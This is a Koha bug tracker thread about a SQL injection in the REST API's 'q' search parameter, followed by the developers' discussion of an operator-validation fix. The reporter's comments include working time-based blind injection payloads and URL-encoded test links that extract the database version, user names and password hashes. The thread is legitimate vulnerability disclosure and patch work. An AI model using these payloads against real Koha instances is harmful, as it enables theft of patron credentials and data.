Bug 37018 - SQL injection using q under api/
Summary: SQL injection using q under api/
Status: Pushed to stable
Alias: None
Product: Koha
Classification: Unclassified
Component: REST API (show other bugs)
Version: Main
Hardware: All All
: P5 - low major
Assignee: Martin Renvoize
QA Contact: Testopia
URL:
Keywords:
Depends on:
Blocks: 37533
  Show dependency treegraph
 
Reported: 2024-06-03 14:24 UTC by Blou
Modified: 2024-08-07 21:10 UTC (History)
16 users (show)

See Also:
Change sponsored?: ---
Patch complexity: Small patch
Documentation contact:
Documentation submission:
Text to go in the release notes:
24.11.00,24.05.02,23.11.07,23.05.13,22.11.19
Version(s) released in:
Circulation function:


Attachments
Bug 37018: Unit tests (2.43 KB, patch)
2024-06-05 13:22 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.56 KB, patch)
2024-06-05 13:22 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Use validation in search_rs helper (871 bytes, patch)
2024-06-05 13:22 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Unit tests (2.43 KB, patch)
2024-06-05 15:00 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.56 KB, patch)
2024-06-05 15:00 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Use validation in search_rs helper (871 bytes, patch)
2024-06-05 15:00 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Throw exception and render error (2.00 KB, patch)
2024-06-05 15:00 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: (follow-up) Avoid executing invalid query (5.64 KB, patch)
2024-06-10 12:04 UTC, Hammat wele
Details | Diff | Splinter Review
Bug 37018: (follow-up) adding a warning bad operatord are removed from the query (1.13 KB, patch)
2024-06-12 18:38 UTC, Hammat wele
Details | Diff | Splinter Review
Bug 37018: (follow-up) stop the execution when invalid query (2.82 KB, patch)
2024-06-13 16:32 UTC, Hammat wele
Details | Diff | Splinter Review
Bug 37018: (follow-up) throw a 500 error when an invalid query is found (1.80 KB, patch)
2024-06-14 21:44 UTC, Hammat wele
Details | Diff | Splinter Review
Bug 37018: (follow-up) adding some allowed operators (1003 bytes, patch)
2024-07-03 14:00 UTC, Hammat wele
Details | Diff | Splinter Review
Bug 37018: Regression tests (2.00 KB, patch)
2024-07-08 11:57 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Unit tests (2.43 KB, patch)
2024-07-08 11:57 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.56 KB, patch)
2024-07-08 11:57 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Use validation in search_rs helper (871 bytes, patch)
2024-07-08 11:57 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Throw exception and render error (2.00 KB, patch)
2024-07-08 11:57 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: (follow-up) adding some allowed operators (1005 bytes, patch)
2024-07-08 11:57 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Regression tests (2.00 KB, patch)
2024-07-08 19:44 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Unit tests (2.57 KB, patch)
2024-07-08 19:44 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add Koha::Exceptions::REST (1.19 KB, patch)
2024-07-08 19:44 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.76 KB, patch)
2024-07-08 19:44 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Use validation in search_rs helper (874 bytes, patch)
2024-07-08 19:44 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: (follow-up) adding some allowed operators (1008 bytes, patch)
2024-07-08 19:44 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Handle exception in unhandled_exception() helper (1.92 KB, patch)
2024-07-08 19:50 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add Koha::Exceptions::REST (1.19 KB, patch)
2024-07-08 19:58 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[POC] Bug 37018: Add 400 to all GET routes (14.21 KB, patch)
2024-07-08 20:21 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Regression tests (2.00 KB, patch)
2024-07-08 20:32 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Unit tests (2.57 KB, patch)
2024-07-08 20:32 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add Koha::Exceptions::REST (1.19 KB, patch)
2024-07-08 20:32 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.76 KB, patch)
2024-07-08 20:32 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Use validation in search_rs helper (874 bytes, patch)
2024-07-08 20:32 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: (follow-up) adding some allowed operators (1008 bytes, patch)
2024-07-08 20:32 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Handle exception in unhandled_exception() helper (1.92 KB, patch)
2024-07-08 20:33 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Silence useless warning (900 bytes, patch)
2024-07-08 20:33 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[POC] Bug 37018: Add 400 to all GET routes (15.61 KB, patch)
2024-07-08 20:33 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Regression tests (2.00 KB, patch)
2024-07-09 14:22 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Unit tests (2.62 KB, patch)
2024-07-09 14:23 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add Koha::Exceptions::REST (1.19 KB, patch)
2024-07-09 14:23 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.82 KB, patch)
2024-07-09 14:23 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Use validation in search_rs helper (929 bytes, patch)
2024-07-09 14:23 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: (follow-up) adding some allowed operators (1.04 KB, patch)
2024-07-09 14:23 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Handle exception in unhandled_exception() helper (1.92 KB, patch)
2024-07-09 14:23 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Silence useless warning (955 bytes, patch)
2024-07-09 14:23 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add 400 response definition to all routes (114.90 KB, patch)
2024-07-09 14:23 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Regression tests (2.06 KB, patch)
2024-07-10 08:40 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Unit tests (2.68 KB, patch)
2024-07-10 08:40 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Add Koha::Exceptions::REST (1.25 KB, patch)
2024-07-10 08:40 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.88 KB, patch)
2024-07-10 08:40 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Use validation in search_rs helper (994 bytes, patch)
2024-07-10 08:41 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: (follow-up) adding some allowed operators (1.10 KB, patch)
2024-07-10 08:41 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Handle exception in unhandled_exception() helper (1.99 KB, patch)
2024-07-10 08:41 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Silence useless warning (1020 bytes, patch)
2024-07-10 08:41 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Add 400 response definition to all routes (114.96 KB, patch)
2024-07-10 08:41 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Clarify operators (3.21 KB, patch)
2024-07-10 08:41 UTC, Martin Renvoize
Details | Diff | Splinter Review
Bug 37018: Regression tests (2.13 KB, patch)
2024-07-11 11:00 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 37018: Unit tests (2.75 KB, patch)
2024-07-11 11:00 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 37018: Add Koha::Exceptions::REST (1.32 KB, patch)
2024-07-11 11:01 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.95 KB, patch)
2024-07-11 11:01 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 37018: Use validation in search_rs helper (1.04 KB, patch)
2024-07-11 11:01 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 37018: (follow-up) adding some allowed operators (1.17 KB, patch)
2024-07-11 11:01 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 37018: Handle exception in unhandled_exception() helper (2.06 KB, patch)
2024-07-11 11:01 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 37018: Silence useless warning (1.07 KB, patch)
2024-07-11 11:01 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 37018: Add 400 response definition to all routes (115.04 KB, patch)
2024-07-11 11:01 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 37018: Clarify operators (3.32 KB, patch)
2024-07-11 11:01 UTC, Jonathan Druart
Details | Diff | Splinter Review
[24.05.x] Bug 37018: Add 400 response definition to all routes (114.61 KB, patch)
2024-07-22 15:05 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Regression tests (2.14 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Unit tests (2.80 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Add Koha::Exceptions::REST (1.33 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.91 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Use validation in search_rs helper (1.16 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: (follow-up) adding some allowed operators (1.17 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Handle exception in unhandled_exception() helper (2.07 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Silence useless warning (1.08 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Clarify operators (3.31 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Add 400 response definition to all routes (125.19 KB, patch)
2024-07-22 18:36 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: Regression tests (2.14 KB, patch)
2024-07-22 19:11 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: Unit tests (2.80 KB, patch)
2024-07-22 19:11 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: Add Koha::Exceptions::REST (1.33 KB, patch)
2024-07-22 19:11 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.91 KB, patch)
2024-07-22 19:11 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: Use validation in search_rs helper (1.16 KB, patch)
2024-07-22 19:11 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: (follow-up) adding some allowed operators (1.17 KB, patch)
2024-07-22 19:11 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: Handle exception in unhandled_exception() helper (2.07 KB, patch)
2024-07-22 19:12 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: Silence useless warning (1.08 KB, patch)
2024-07-22 19:12 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: Clarify operators (3.31 KB, patch)
2024-07-22 19:12 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.05.x] Bug 37018: Add 400 response definition to all routes (80.56 KB, patch)
2024-07-22 19:12 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[23.11.x] Bug 37018: Add 400 response definition to all routes (109.26 KB, patch)
2024-07-22 19:23 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
[22.11.x] Bug 37018: Add 400 response definition to all routes (74.55 KB, patch)
2024-07-23 12:37 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Regression tests (2.13 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Unit tests (2.75 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add Koha::Exceptions::REST (1.32 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm (2.95 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Use validation in search_rs helper (1.04 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: (follow-up) adding some allowed operators (1.17 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Handle exception in unhandled_exception() helper (2.06 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Silence useless warning (1.07 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Add 400 response definition to all routes (115.04 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review
Bug 37018: Clarify operators (3.31 KB, patch)
2024-07-29 12:49 UTC, Tomás Cohen Arazi
Details | Diff | Splinter Review

Note You need to log in before you can comment on or make changes to this bug.
Description Blou 2024-06-03 14:24:16 UTC
Hi!

This has been reported by our client's IT, and seems a bit too large/generic compared to the usually specific sql injection bz I see.  But since we're not modifying (afaik) that codebase, I want to validate with you if that could affect the community.  Client is in 23.05.03 with specific security patches added.



I'll do my best to translate:

<<<

We found a boolean sql injection vulnerability in Koha, exploitable through non-authenticated, non-admin accounts.  It is found everywhere where q is used in the API ( https://THE_GIVEN_URL/api/ ). There the JSON key can be injected.

Example: (I hid my client's url, but can give it through certain channel if necessary)

https://GIVEN_URL/api/v1/public/biblios/1/items?q=[{"-and":[[{"biblio_id":{"like":"%a%"}}]]}]


That value doesn't cause any delay:
[{"-and":[[{"biblio_id":{"like(sleep(0))or":"%a%"}}]]}]

Test with this link:
https://GIVEN_URL/api/v1/public/biblios/1/items?q=%5B%7B%22-and%22%3A%5B%5B%7B%22biblio_id%22%3A%7B%22like%28sleep%280%29%29or%22%3A%22%25a%25%22%7D%7D%5D%5D%7D%5D

 

This next one cause a 5s delay in the response, demonstrating the successful injection:
[{"-and":[[{"biblio_id":{"like(sleep(1/100000))or":"%a%"}}]]}]

Test with this link:
https://GIVEN_URL/api/v1/public/biblios/1/items?q=%5B%7B%22-and%22%3A%5B%5B%7B%22biblio_id%22%3A%7B%22like%28sleep%281%2F100000%29%29or%22%3A%22%25a%25%22%7D%7D%5D%5D%7D%5D

 

This way it's possible to extirpate data from the database.  Ex we start with the db version.  We guess that the result's first char is <<1>>, this cause a 5s delay:
[{"-and":[[{"me.biblio_id":{"like(IF(ASCII(SUBSTRING((SELECT version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or":"%a%"}}]]}]

>>>


I reproduced the issue on other 23.05 installations.  My question is now: is this fixed (I'm late with some patches) or is this a new (serious) issue?

Thanks
Philippe
Comment 1 Blou 2024-06-03 15:13:19 UTC
Actually, I missed part of the message (the important part)

<<<

It is possible to extract letter by letter the version “10.3.39-Maria …”. That can be automated toward recovering more sensitive information

We could use it to extrat user name and password through “/api/v1/patron”.  We didn't succeed in getting the following info without a valid account, although the API paths observed make it probable an exploit with unidentified users.  

The following search value can be used to extract user names, which returned the first letter from user "cprecicom": 


[{"-and":[[{"me.surname":{"like(IF(ASCII(SUBSTRING((SELECT userid LIMIT 1),1,1))=ASCII('c'),SLEEP(1/2),0))or":""}}]]}]

And the following to extract pw hash: 


[{"-and":[[{"me.surname":{"like(IF(ASCII(SUBSTRING((SELECT password LIMIT 1),1,1))=ASCII('c'),SLEEP(1/2),0))or":""}}]]}]


>>>
Comment 2 Fridolin Somers 2024-06-04 14:21:34 UTC
Could it be possible to forbid "q=" in public API ?
Comment 3 Blou 2024-06-04 14:28:51 UTC
Maybe?

Their suggestion was to filter out 'like' from the 'q' requests, at the very least.


I'm surprised nobody else has feedbacks on that issue.
Comment 4 David Cook 2024-06-05 00:37:28 UTC
(In reply to Fridolin Somers from comment #2)
> Could it be possible to forbid "q=" in public API ?

(In reply to Blou from comment #3)
> Maybe?
> 
> Their suggestion was to filter out 'like' from the 'q' requests, at the very
> least.
> 
> 
> I'm surprised nobody else has feedbacks on that issue.

I doubt that it's just the "q" parameter. If you look at https://wiki.koha-community.org/wiki/Koha_REST_API_Users_Guide#Searching it seems that you could do the same attacks using the request body as well.

The problem is allowing unvalidated user input directly into the backend. I've always disliked this feature of the API.

Fixing this will probably require an overhaul of the search functionality of the REST API, which is a big project.
Comment 5 David Cook 2024-06-05 06:21:28 UTC
I meant to say earlier... we might be able to mitigate this problem by validating "key" fields. Needs more investigation.
Comment 6 Martin Renvoize 2024-06-05 08:42:40 UTC
I'm going to take a stab at this today... see if I can get some operator validation working.
Comment 7 Martin Renvoize 2024-06-05 13:22:12 UTC Comment hidden (obsolete)
Comment 8 Martin Renvoize 2024-06-05 13:22:15 UTC Comment hidden (obsolete)
Comment 9 Martin Renvoize 2024-06-05 13:22:18 UTC Comment hidden (obsolete)
Comment 10 Martin Renvoize 2024-06-05 13:23:44 UTC
Here's an initial attempt.. I want to enhance the unit tests with more valid and invalid cases and I have a feeling we need to call the validation routine in more then search_rs but I'm not confident where yet.

Anyway.. I wanted to post my initial work to get the ball rolling.. so here it is.
Comment 11 Blou 2024-06-05 13:45:00 UTC
Great stuff.  I'm adding Hammat so that he can test.

(not sure if I have the rights to do that?)
Comment 12 Martin Renvoize 2024-06-05 14:39:58 UTC
You should be able to add him in to cc and he'll then be able to see the bug I believe.
Comment 13 Martin Renvoize 2024-06-05 15:00:29 UTC
Created attachment 167446 [details] [review]
Bug 37018: Unit tests
Comment 14 Martin Renvoize 2024-06-05 15:00:32 UTC
Created attachment 167447 [details] [review]
Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm
Comment 15 Martin Renvoize 2024-06-05 15:00:35 UTC
Created attachment 167448 [details] [review]
Bug 37018: Use validation in search_rs helper
Comment 16 Martin Renvoize 2024-06-05 15:00:38 UTC
Created attachment 167449 [details] [review]
Bug 37018: Throw exception and render error

For some reason this doesn't work :(. We still result in a 200, when I'd
expect a 400 instead coming from the catch block.  It would be nice to
use openapi too for the 400 render but I can't use that in the way the
test is written.
Comment 17 Hammat wele 2024-06-05 15:30:03 UTC Comment hidden (obsolete)
Comment 18 David Cook 2024-06-06 04:18:23 UTC
Good on ya, Martin.

I'm not sure when I'll have the time, but I'll try to take a look at this when I can...
Comment 19 Hammat wele 2024-06-06 13:01:01 UTC
It work like expected, I get the following message "Invalid operator in query: like(sleep(1/100000))or" when I put «like(sleep(1/100000))or» in the query.
But I think the problem is not resolved yet, it's still possible to extirpate data from the database. 

> 
> Ex we start
> with the db version.  We guess that the result's first char is <<1>>, this
> cause a 5s delay:
> [{"-and":[[{"me.biblio_id":{"like(IF(ASCII(SUBSTRING((SELECT
> version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or":"%a%"}}]]}]

when we go to
https://THE_GIVEN_URL/api/v1/public/biblios/1/items?q=[{"-and":[[{"biblio_id":{"like(IF(ASCII(SUBSTRING((SELECT version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or":"%a%"}}]]}]

there is a 5s delay that mean the database version begin with «1»

Thanks
Comment 20 Hammat wele 2024-06-10 12:04:42 UTC
Created attachment 167603 [details] [review]
Bug 37018: (follow-up) Avoid executing invalid query
Comment 21 Tomás Cohen Arazi 2024-06-10 13:49:13 UTC
My understanding is that:

q='{"A":"B"}'

is insecure because "A" and "B" are not being SQL-quoted, and DBIx::Class+SQL::Abstract is passing it right away to the underlying DB engine, generating a valid query. Being q as simple as that, or more evolved like

[{"-and":[[{"me.surname":{"like(IF(ASCII(SUBSTRING((SELECT userid LIMIT 1),1,1))=ASCII('c'),SLEEP(1/2),0))or":""}}]]}]

I tried it on the command line:

```shell
perl -MDDP -MKoha::Biblios -e 'my $q = [{"-and" => [[{"me.biblio_id" => {"like(IF(ASCII(SUBSTRING((SELECT version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or" => "%a%"}}]]}]; p(Koha::Biblios->search($q)->_resultset->as_query);'
```

and the result is self explanatory:


```sql
(SELECT `me`.`biblionumber`, `me`.`frameworkcode`, `me`.`author`, `me`.`title`, `me`.`medium`, `me`.`subtitle`, `me`.`part_number`, `me`.`part_name`, `me`.`unititle`, `me`.`notes`, `me`.`serial`, `me`.`seriestitle`, `me`.`copyrightdate`, `me`.`timestamp`, `me`.`datecreated`, `me`.`abstract` FROM `biblio` `me` WHERE ( `me`.`biblio_id` LIKE(IF(ASCII(SUBSTRING((SELECT VERSION()),1,1))=ASCII(1),SLEEP(1/100000),0))OR ? ))
```
Comment 22 Tomás Cohen Arazi 2024-06-10 17:34:05 UTC
Comment on attachment 167603 [details] [review]
Bug 37018: (follow-up) Avoid executing invalid query

Review of attachment 167603 [details] [review]:
-----------------------------------------------------------------

::: Koha/REST/Plugin/Query.pm
@@ +224,5 @@
> +    'dbic_remove_invalid_operators' => sub {
> +        my ( $c, $args ) = @_;
> +        my @invalid_operators = _get_invalid_operators( $args->{filtered_params} );
> +        my %badoperators      = map { $_ => 1 } @invalid_operators;
> +        my $filtered_params   = _remove_invalid_operators( $args->{filtered_params}, %badoperators );

I think this change is wrong. If we wanted this fallback mechanism (i.e. removing the bad thing and moving forward) we should (at a minimum) warn about it.

But I really think this should follow Martin's initial schema: there's something wrong, throw an exception.
Comment 23 Hammat wele 2024-06-12 18:38:12 UTC
Created attachment 167672 [details] [review]
Bug 37018: (follow-up) adding a warning bad operatord are removed from the query
Comment 24 Hammat wele 2024-06-12 18:39:06 UTC
> But I really think this should follow Martin's initial schema: there's something wrong, throw an exception.

The helper added by Martin « dbic_validate_operators» is still there and it still returns an Exception when a invalid operator is found , i didn't change it, i just added a new helper dbic_remove_invalid_operators that remove the bad operators from the query to avoid his execution that create some delay and can help extirpate data
Comment 25 Jonathan Druart 2024-06-13 10:40:55 UTC
I don't understand what's the excepted behavior but the code looks wrong. We are raising an exception, catch it to render a 400, and this is in a if block.

I think we should render a 400 and that's all.
Comment 26 Hammat wele 2024-06-13 13:49:20 UTC
(In reply to Jonathan Druart from comment #25)
> I don't understand what's the excepted behavior but the code looks wrong. We
> are raising an exception, catch it to render a 400, and this is in a if
> block.
> 
> I think we should render a 400 and that's all.

When we render a 400 the execution doesn't stop.
I mean the following line in Objects.pm is still executed.
my $objects_rs = $result_set->search( $filtered_params, $attributes );

The execution should stop when an Invalid operator is in the query
for example this URL will take 1 minute because it has been executed

https://GIVEN_URL/api/v1/public/biblios/11/items?q=[{"-and":[[{"biblio_id":{"like(sleep(1))or":"%a%"}}]]}]

and we can use the delay to extirpate data
Comment 27 Martin Renvoize 2024-06-13 14:27:43 UTC
(In reply to Hammat wele from comment #26)
> When we render a 400 the execution doesn't stop.

This is exactly where I got stuck.. I couldn't work out how to catch the exception, render the 400 and stop further execution.. for some reason it still returns back after the catch and 400 render, exectus the query and finally renders the result but not the 400 to the end user..

I wondered about moving the try/catch to 'undhandled exceptions'?

Basically.. I wanted to avoid having to add the try/catch to ever controller.
Comment 28 Tomás Cohen Arazi 2024-06-13 16:15:02 UTC
(In reply to Hammat wele from comment #24)
> > But I really think this should follow Martin's initial schema: there's something wrong, throw an exception.
> 
> The helper added by Martin « dbic_validate_operators» is still there and it
> still returns an Exception when a invalid operator is found , i didn't
> change it, i just added a new helper dbic_remove_invalid_operators that
> remove the bad operators from the query to avoid his execution that create
> some delay and can help extirpate data

I strongly believe we should throw an exception instead of cleaning the query. Imagine a non-attack scenario, but someone putting a wrong query.

They expect the results to be correct or if the query is wrong, they need to know! And also know why it is wrong, if possible.

Hiding it for the end user is not the way to go here.
Comment 29 Tomás Cohen Arazi 2024-06-13 16:15:18 UTC
(In reply to Martin Renvoize from comment #27)
> (In reply to Hammat wele from comment #26)
> > When we render a 400 the execution doesn't stop.
> 
> This is exactly where I got stuck.. I couldn't work out how to catch the
> exception, render the 400 and stop further execution.. for some reason it
> still returns back after the catch and 400 render, exectus the query and
> finally renders the result but not the 400 to the end user..
> 
> I wondered about moving the try/catch to 'undhandled exceptions'?
> 
> Basically.. I wanted to avoid having to add the try/catch to ever controller.

I'll take a look
Comment 30 Hammat wele 2024-06-13 16:19:39 UTC
(In reply to Martin Renvoize from comment #27)
> (In reply to Hammat wele from comment #26)
> > When we render a 400 the execution doesn't stop.
> 
> This is exactly where I got stuck.. I couldn't work out how to catch the
> exception, render the 400 and stop further execution.. for some reason it
> still returns back after the catch and 400 render, exectus the query and
> finally renders the result but not the 400 to the end user..
> 
> I wondered about moving the try/catch to 'undhandled exceptions'?
> 
> Basically.. I wanted to avoid having to add the try/catch to ever controller.

I thing we could stop the execution by just adding 
    Koha::Exceptions::BadParameter->throw( $_->error );
Comment 31 Hammat wele 2024-06-13 16:21:40 UTC
I'm about to submit a new patch(In reply to Hammat wele from comment #30)

> 
> I thing we could stop the execution by just adding 
>     Koha::Exceptions::BadParameter->throw( $_->error );

I'm about to push new patch
Comment 32 Hammat wele 2024-06-13 16:32:22 UTC
Created attachment 167691 [details] [review]
Bug 37018: (follow-up) stop the execution when invalid query

prove t/Koha/REST/Plugin/Query.t should return OK, returning 400 when invalid operator is found
Comment 33 Martin Renvoize 2024-06-13 17:13:51 UTC
That's great work, thanks for taking this on Hammat. I'll look at testing it for QA tomorrow hence I'm back at the computer.
Comment 34 Jonathan Druart 2024-06-14 07:19:05 UTC
We are lacking a higher-level test: we do not get 400 but 500.

% wget 'http://localhost:8080/api/v1/public/biblios/1/items?q=[{"-and":[[{"biblio_id":{"like(IF(ASCII(SUBSTRING((SELECT version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or":"%a%"}}]]}]'
--2024-06-14 09:18:42--  http://localhost:8080/api/v1/public/biblios/1/items?q=[%7B%22-and%22:[[%7B%22biblio_id%22:%7B%22like(IF(ASCII(SUBSTRING((SELECT%20version()),1,1))=ASCII(1),SLEEP(1/100000),0))or%22:%22%25a%25%22%7D%7D]]%7D]
Resolving localhost (localhost)... 127.0.0.1
Connecting to localhost (localhost)|127.0.0.1|:8080... connected.
HTTP request sent, awaiting response... 500 Internal Server Error
2024-06-14 09:18:42 ERROR 500: Internal Server Error.
Comment 35 Hammat wele 2024-06-14 13:22:08 UTC
(In reply to Jonathan Druart from comment #34)

> HTTP request sent, awaiting response... 500 Internal Server Error
> 2024-06-14 09:18:42 ERROR 500: Internal Server Error.

Indeed we have an error 500 when we try to access to an url that contains an invalid operator and we have in api-error.log:

[2024/06/14 12:47:51] [ERROR] GET /api/v1/public/biblios/11/items: unhandled exception (Koha::Exceptions::BadParameter)<<Exception 'Koha::Exceptions:: BadParameter' thrown 'Invalid operator in query: like(sleep(1/10))or'>> Koha::REST::Plugin::Exceptions::__ANON__ /inlibro/git/koha-master-dev-hammat/Koha/ REST/Plugin/Exceptions.pm (71)

I think it's okay, because in line 648 of Koha/REST/V1/Biblios.pm (get_items_public), an unhandled exception (error 500) is thrown when an exception is found, which is our case.
Comment 36 Jonathan Druart 2024-06-14 14:43:46 UTC
But then we should not try to render a 400, it's confusing IMO. I understand why it's happening, in it is happening in other places as well. But we are missing something here. Not sure how it should be considered a blocker, but at the minimum we should deal with that on a follow-up bug.
Comment 37 Hammat wele 2024-06-14 21:44:57 UTC
Created attachment 167772 [details] [review]
Bug 37018: (follow-up) throw a 500 error when an invalid query is found
Comment 38 Blou 2024-06-21 15:02:35 UTC
There's been no followup to Hammat's last patch and discussion with Jonathan.  This suddenly died a week ago now.
Comment 39 Hammat wele 2024-07-03 14:00:34 UTC
Created attachment 168458 [details] [review]
Bug 37018: (follow-up) adding some allowed operators
Comment 40 Tomás Cohen Arazi 2024-07-05 20:12:21 UTC
I think those follow-ups need better descriptions so they can be reviewed. In particular, we need tests for every piece of it.

As Jonathan expressed, and Martin and I already commented about, the main problem here is that the controllers will be falling back to the `$c->unhandled_exception()` call.  This is problematic because:

* It requires us to add handling for this known exception on every controller
